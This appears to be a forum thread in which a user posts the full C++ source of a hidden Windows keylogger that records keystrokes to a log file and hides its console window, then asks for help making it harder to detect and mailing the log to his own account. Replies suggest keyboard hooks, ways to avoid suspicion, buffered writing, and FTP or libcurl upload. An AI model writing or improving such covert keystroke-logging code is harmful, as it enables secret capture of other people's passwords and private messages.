Flash Drive Keylogger help

Pages: 12
when i execute my keylogger in a flash drive, it doesnt pick up all the keystrokes like it does when i exexcute it from anyother location.

source code:

#include <iosstream>
using namespace std;
#include <windows.h>
#include <winuser.h>

int Save (int key_stroke, char *file);
void Stealth();

int main()
{
Stealth();
char i;

while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("SLEEP");
return 0;
}

/* *********************************** */

int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;
}

/* *********************************** */

void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}
Last edited on
This has nothing to do with your code, just remember
Execution from Hard drive is faster than from a removable drive.
this explains why your key-logger misses some strokes.
its a terribly written code, Never PAUSE. you can use Sleep() instead of PAUSE.
i hate script kiddies.
Last edited on
i changed pause to sleep, but is there a way for me to use another function other than fprintf()?
You replace system("PAUSE") with Sleep(), but anyway in your case you don't need either of them, as you want console window hiding anyway. You could use a GUI application with SW_HIDE in the first place instead of your nasty Stealth() function.

Does AllocConsole() work even in console programs ???????? Interesting, useless and stupid thing to do even if it works :)


As for another function instead of fprintf(), there is a few, anyway I suggest to not open/clos the file every time, instead open it once and keep it opened until the program ends.
Last edited on
Just for information, have a look at SetWindowsHookEx or SetWindowsHook to get key strokes at OS level.
@modoran
i like your suggestion about closing log file when program ends.. but the problem is the program never ends =D
@pharabot
hooking is a better option than using asynckey() function, getasynckey() raises suspicion.
can someone Please help me by trying to make the keylogger send the the log file to my email account?

thanks for the responses
Last edited on
Very hard to send mail using C++..
you could upload logs on FTP account.. see msdn
Very hard to send mail using C++..


Why do you say that ?
With libCurl, for example, is just as easy as using FTP.
just a little suggestion .. correct me if you are wrong .
Why are opening , and closing file in the loop. . can we not pass the pointer of file to the function .
i.e opening the file only once and then writting into the file for the whole loop. and then closing the file once .
Make a timer, pass keylogger time.. and after every specific interval of time the file should be closed and re-opened..
what you think people?
im not really familiar with libcurl, also a cmd window flashes when opening the keylogger which will obviously raise suspicion.
Make a timer, pass keylogger time.. and after every specific interval of time the file should be closed and re-opened..
what you think people?


Just flush the stream, no need to close and reopen. Unless there's some other purpose to it. Or set the buffer size to a lower amount.
Just flush the stream, no need to close and reopen. Unless there's some other purpose to it. Or set the buffer size to a lower amount.

it would be so kind of you, if you provide a little example code on how to accomplish this..
what i understand is this, store the keystrokes to a buffer and then write the buffer to a file, am i right?
yes, a sample code would be nice.
When you use file streams, it automatically writes to a buffer and only writes to the file when the stream gets flushed, which happens when you call flush(), close the stream, or the buffer just gets full.
that means, i need not to close the file.. just keep on writing in an endless while loop, and the contents will automatically be saved.
or at the end of each loop i add sync() to save the contents
right?
Last edited on
I'd do something a little more clever than that. Either, do it at set time intervals, or try to sync when the stream isn't overly busy. It can be a costly operation to do every iteration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <fstream>
using namespace std;

int main () {

  ofstream outfile ("test.txt");
int count=0;

 while(1)
  {
    outfile << n;
    count++;
if(count==10000)
       {
    count=0;
    outfile.flush();
       }
  }

  outfile.close();

  return 0;
}

what you say about this?
Last edited on
does outfile make the file test.txt?
Pages: 12